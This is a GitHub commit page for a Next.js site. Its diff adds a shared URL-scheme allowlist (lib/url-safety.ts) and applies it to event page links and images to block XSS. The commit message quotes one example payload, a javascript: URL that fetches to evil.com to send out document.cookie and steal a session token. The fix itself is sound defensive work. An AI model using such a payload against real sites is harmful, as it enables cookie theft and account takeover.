Skip to content

Commit 2ee1f20

Browse files
committed
fix(security): events 外链 XSS 防护 — 抽通用 sanitize + 全量过白名单
Issue: #302 P0-1 问题:/events/[id] 和 /events 页面直接把后端 coverUrl / avatarUrl / profileUrl / discordLink / playbackUrl 塞进 <a href> 和 <img src>, 没有 URL scheme 白名单校验。管理员(或被篡改的后端数据)填一个 javascript:fetch('//evil.com/steal?c='+document.cookie) 点击后在 involutionhell.com origin 里执行 JS,可盗 satoken 冒充用户。 改造: - 新增 lib/url-safety.ts,把 /u/[username]/page.tsx 本地的 sanitizeExternalUrl 抽出来共享,并新增 sanitizeMediaUrl(img/video/iframe 场景,不放 mailto) - profile 页改用共享版(删本地 duplicate) - /events 列表页 EventCard.coverUrl 过 sanitizeMediaUrl - /events/[id] 详情页所有外来 URL 全部过白名单: * coverUrl / speaker.avatarUrl → sanitizeMediaUrl * speaker.profileUrl / playbackUrl / discordLink → sanitizeExternalUrl - playback section 调整:embed (YouTube host 白名单) 和 safePlaybackUrl 两者都 null 时整块不渲染,避免出现"标题存在但按钮消失"的空洞 toYoutubeEmbed 自带 host 白名单已能拦 javascript:(protocol 不匹配 youtu.be/youtube.com 就返回 null),本身安全;此次只补了它的 fallback 锚点链接。 其他项仍在 #302 清单里:InterestButton 错误提示 / Sentry beforeSend / EventForm 时间校验 / AdminGuard 显式化 / SafeImg 抽组件等,留给 owner 自己找时间验证修复。
1 parent a965ef9 commit 2ee1f20

4 files changed

Lines changed: 115 additions & 65 deletions

File tree

app/events/[id]/page.tsx

Lines changed: 52 additions & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@ import { Header } from "@/app/components/Header";
55
import { Footer } from "@/app/components/Footer";
66
import type { EventDetailResponse, EventView } from "../types";
77
import { InterestButton } from "./InterestButton";
8+
import { sanitizeExternalUrl, sanitizeMediaUrl } from "@/lib/url-safety";
89

910
/**
1011
* /events/[id] 详情页。SSR 拉 /api/events/{id}。
@@ -69,7 +70,14 @@ export default async function EventDetailPage({ params }: Param) {
6970
if (!data) notFound();
7071

7172
const event = data.event;
73+
// 所有外来 URL 都过 XSS 白名单——jobs: 拦 javascript: / data: / vbscript:
74+
// 等在 <a href> / <img src> 场景下会触发脚本执行或数据外泄的向量。
75+
// toYoutubeEmbed 内部已经做了 host 白名单(只返回 youtube.com/embed/*),
76+
// 但 fallback 的 <a> 链接仍然需要走 sanitize。
7277
const embedUrl = toYoutubeEmbed(event.playbackUrl);
78+
const safeCoverUrl = sanitizeMediaUrl(event.coverUrl);
79+
const safePlaybackUrl = sanitizeExternalUrl(event.playbackUrl);
80+
const safeDiscordLink = sanitizeExternalUrl(event.discordLink);
7381

7482
return (
7583
<>
@@ -107,10 +115,10 @@ export default async function EventDetailPage({ params }: Param) {
107115
)}
108116
</header>
109117

110-
{event.coverUrl && (
118+
{safeCoverUrl && (
111119
// eslint-disable-next-line @next/next/no-img-element
112120
<img
113-
src={event.coverUrl}
121+
src={safeCoverUrl}
114122
alt={event.title}
115123
className="w-full aspect-[16/9] object-cover border border-[var(--foreground)] mt-6"
116124
/>
@@ -132,41 +140,47 @@ export default async function EventDetailPage({ params }: Param) {
132140
Speakers
133141
</h2>
134142
<ul className="flex flex-wrap gap-4">
135-
{event.speakers.map((s) => (
136-
<li
137-
key={s.name}
138-
className="flex items-center gap-3 border border-[var(--foreground)] px-3 py-2"
139-
>
140-
{s.avatarUrl && (
141-
// eslint-disable-next-line @next/next/no-img-element
142-
<img
143-
src={s.avatarUrl}
144-
alt={s.name}
145-
className="w-8 h-8 border border-[var(--foreground)] object-cover"
146-
/>
147-
)}
148-
{s.profileUrl ? (
149-
<a
150-
href={s.profileUrl}
151-
target="_blank"
152-
rel="noopener noreferrer"
153-
className="font-serif text-sm font-semibold hover:text-[#CC0000] transition-colors"
154-
>
155-
{s.name}
156-
</a>
157-
) : (
158-
<span className="font-serif text-sm font-semibold">
159-
{s.name}
160-
</span>
161-
)}
162-
</li>
163-
))}
143+
{event.speakers.map((s) => {
144+
const safeProfileUrl = sanitizeExternalUrl(s.profileUrl);
145+
const safeAvatarUrl = sanitizeMediaUrl(s.avatarUrl);
146+
return (
147+
<li
148+
key={s.name}
149+
className="flex items-center gap-3 border border-[var(--foreground)] px-3 py-2"
150+
>
151+
{safeAvatarUrl && (
152+
// eslint-disable-next-line @next/next/no-img-element
153+
<img
154+
src={safeAvatarUrl}
155+
alt={s.name}
156+
className="w-8 h-8 border border-[var(--foreground)] object-cover"
157+
/>
158+
)}
159+
{safeProfileUrl ? (
160+
<a
161+
href={safeProfileUrl}
162+
target="_blank"
163+
rel="noopener noreferrer"
164+
className="font-serif text-sm font-semibold hover:text-[#CC0000] transition-colors"
165+
>
166+
{s.name}
167+
</a>
168+
) : (
169+
<span className="font-serif text-sm font-semibold">
170+
{s.name}
171+
</span>
172+
)}
173+
</li>
174+
);
175+
})}
164176
</ul>
165177
</section>
166178
)}
167179

168-
{/* 回放:YouTube 可嵌入就内嵌,不行就给按钮 */}
169-
{event.playbackUrl && (
180+
{/* 回放:YouTube 可嵌入就内嵌;不行就看 safePlaybackUrl 有没有值给按钮。
181+
embedUrl 来自 toYoutubeEmbed 自带 host 白名单;safePlaybackUrl 走
182+
通用 scheme 白名单。两者都 null 时整块不渲染(连标题一起隐藏)。 */}
183+
{(embedUrl || safePlaybackUrl) && (
170184
<section className="mt-10">
171185
<h2 className="font-mono text-[10px] uppercase tracking-[0.3em] text-neutral-500 mb-4">
172186
回放 · Playback
@@ -181,16 +195,16 @@ export default async function EventDetailPage({ params }: Param) {
181195
className="w-full h-full"
182196
/>
183197
</div>
184-
) : (
198+
) : safePlaybackUrl ? (
185199
<a
186-
href={event.playbackUrl}
200+
href={safePlaybackUrl}
187201
target="_blank"
188202
rel="noopener noreferrer"
189203
className="inline-block font-mono text-xs uppercase tracking-widest px-4 py-2 border border-[var(--foreground)] hover:bg-[var(--foreground)] hover:text-[var(--background)] transition-colors"
190204
>
191205
前往回放 →
192206
</a>
193-
)}
207+
) : null}
194208
</section>
195209
)}
196210

@@ -201,9 +215,9 @@ export default async function EventDetailPage({ params }: Param) {
201215
initialCount={event.interestCount}
202216
initialInterested={data.interested}
203217
/>
204-
{event.discordLink && (
218+
{safeDiscordLink && (
205219
<a
206-
href={event.discordLink}
220+
href={safeDiscordLink}
207221
target="_blank"
208222
rel="noopener noreferrer"
209223
className="font-mono text-xs uppercase tracking-widest px-4 py-2 border border-[var(--foreground)] bg-[var(--foreground)] text-[var(--background)] hover:bg-[#CC0000] hover:border-[#CC0000] transition-colors"

app/events/page.tsx

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@ import Link from "next/link";
33
import { Header } from "@/app/components/Header";
44
import { Footer } from "@/app/components/Footer";
55
import type { EventView } from "./types";
6+
import { sanitizeMediaUrl } from "@/lib/url-safety";
67

78
/**
89
* /events 列表页。
@@ -129,14 +130,16 @@ function EventSection({
129130
}
130131

131132
function EventCard({ event }: { event: EventView }) {
133+
// 后端传来的 coverUrl 理论上干净,但走 XSS 白名单防管理员填错或历史脏数据
134+
const safeCoverUrl = sanitizeMediaUrl(event.coverUrl);
132135
return (
133136
<li className="border border-[var(--foreground)] hover:border-[#CC0000] transition-colors group">
134137
<Link href={`/events/${event.id}`} className="block">
135-
{event.coverUrl ? (
138+
{safeCoverUrl ? (
136139
// 用原生 img:/next.config.mjs 里全站 unoptimized:true,没必要走 next/image
137140
// eslint-disable-next-line @next/next/no-img-element
138141
<img
139-
src={event.coverUrl}
142+
src={safeCoverUrl}
140143
alt={event.title}
141144
className="w-full aspect-[16/9] object-cover border-b border-[var(--foreground)]"
142145
/>

app/u/[username]/page.tsx

Lines changed: 1 addition & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@ import { FollowButton } from "./FollowButton";
1313
import { GithubRepos, GithubReposSkeleton } from "./GithubRepos";
1414
import { Suspense } from "react";
1515
import { getTranslations } from "next-intl/server";
16+
import { sanitizeExternalUrl } from "@/lib/url-safety";
1617

1718
interface UserView {
1819
id: number;
@@ -235,31 +236,6 @@ function sleep(ms: number): Promise<void> {
235236
return new Promise((r) => setTimeout(r, ms));
236237
}
237238

238-
/**
239-
* URL scheme 白名单:仅允许 http(s)/mailto,拦截 javascript: / data: 等向量。
240-
* 任何 preferences 里的 URL 在渲染前必须过这里。
241-
*/
242-
function sanitizeExternalUrl(raw: string | undefined | null): string | null {
243-
if (!raw || typeof raw !== "string") return null;
244-
const trimmed = raw.trim();
245-
if (!trimmed) return null;
246-
try {
247-
// 允许相对路径(以 / 开头),直接放行
248-
if (trimmed.startsWith("/") && !trimmed.startsWith("//")) return trimmed;
249-
const u = new URL(trimmed);
250-
if (
251-
u.protocol === "http:" ||
252-
u.protocol === "https:" ||
253-
u.protocol === "mailto:"
254-
) {
255-
return u.toString();
256-
}
257-
return null;
258-
} catch {
259-
return null;
260-
}
261-
}
262-
263239
/**
264240
* 从 leaderboard JSON 按 githubId 匹配贡献记录。
265241
* 之前按 name 字符串匹配会踩坑(leaderboard.name = "longsizhuo",user_accounts.username = "github_114939201"),

lib/url-safety.ts

Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
/**
2+
* URL scheme 白名单工具——拦截 javascript: / data: / vbscript: 等 XSS 向量。
3+
*
4+
* 两个主要入口:
5+
* - sanitizeExternalUrl: 给 <a href> 用,允许 http/https/mailto + 站内相对路径
6+
* - sanitizeMediaUrl: 给 <img src> / <video src> / <iframe src> 用,
7+
* 只允许 http/https(mailto 放进来没意义)
8+
*
9+
* 任何从后端 / 用户偏好 / 管理员输入来的 URL 在渲染前都必须过这里。
10+
* 从最早 /u/[username]/page.tsx 的本地实现抽出来共享,events 页 / profile
11+
* 页复用同一套白名单逻辑,避免各自再写一份容易漏项。
12+
*/
13+
14+
const SAFE_LINK_PROTOCOLS = new Set(["http:", "https:", "mailto:"]);
15+
const SAFE_MEDIA_PROTOCOLS = new Set(["http:", "https:"]);
16+
17+
function sanitize(
18+
raw: string | undefined | null,
19+
allowed: Set<string>,
20+
allowRelative: boolean,
21+
): string | null {
22+
if (!raw || typeof raw !== "string") return null;
23+
const trimmed = raw.trim();
24+
if (!trimmed) return null;
25+
// 相对路径(/foo/bar)放行;但屏蔽协议相对 URL (//evil.com/x),
26+
// 那种会继承当前页 scheme 去找攻击者域名
27+
if (allowRelative && trimmed.startsWith("/") && !trimmed.startsWith("//")) {
28+
return trimmed;
29+
}
30+
try {
31+
const u = new URL(trimmed);
32+
return allowed.has(u.protocol) ? u.toString() : null;
33+
} catch {
34+
return null;
35+
}
36+
}
37+
38+
/**
39+
* 链接(<a href>)场景:允许 http(s) / mailto / 站内相对路径。
40+
* 不合法返回 null,调用方应当渲染成纯文本(不要加 <a>)。
41+
*/
42+
export function sanitizeExternalUrl(
43+
raw: string | undefined | null,
44+
): string | null {
45+
return sanitize(raw, SAFE_LINK_PROTOCOLS, true);
46+
}
47+
48+
/**
49+
* 媒体(<img src> / <video src> / <iframe src>)场景:只允许 http(s)。
50+
* mailto 无意义;data: 虽然对 <img> 较常用但体积和审计风险高,默认不放;
51+
* 站内相对路径允许(/logo.png、/event/cover.webp 这些)。
52+
*/
53+
export function sanitizeMediaUrl(
54+
raw: string | undefined | null,
55+
): string | null {
56+
return sanitize(raw, SAFE_MEDIA_PROTOCOLS, true);
57+
}

0 commit comments

Comments
 (0)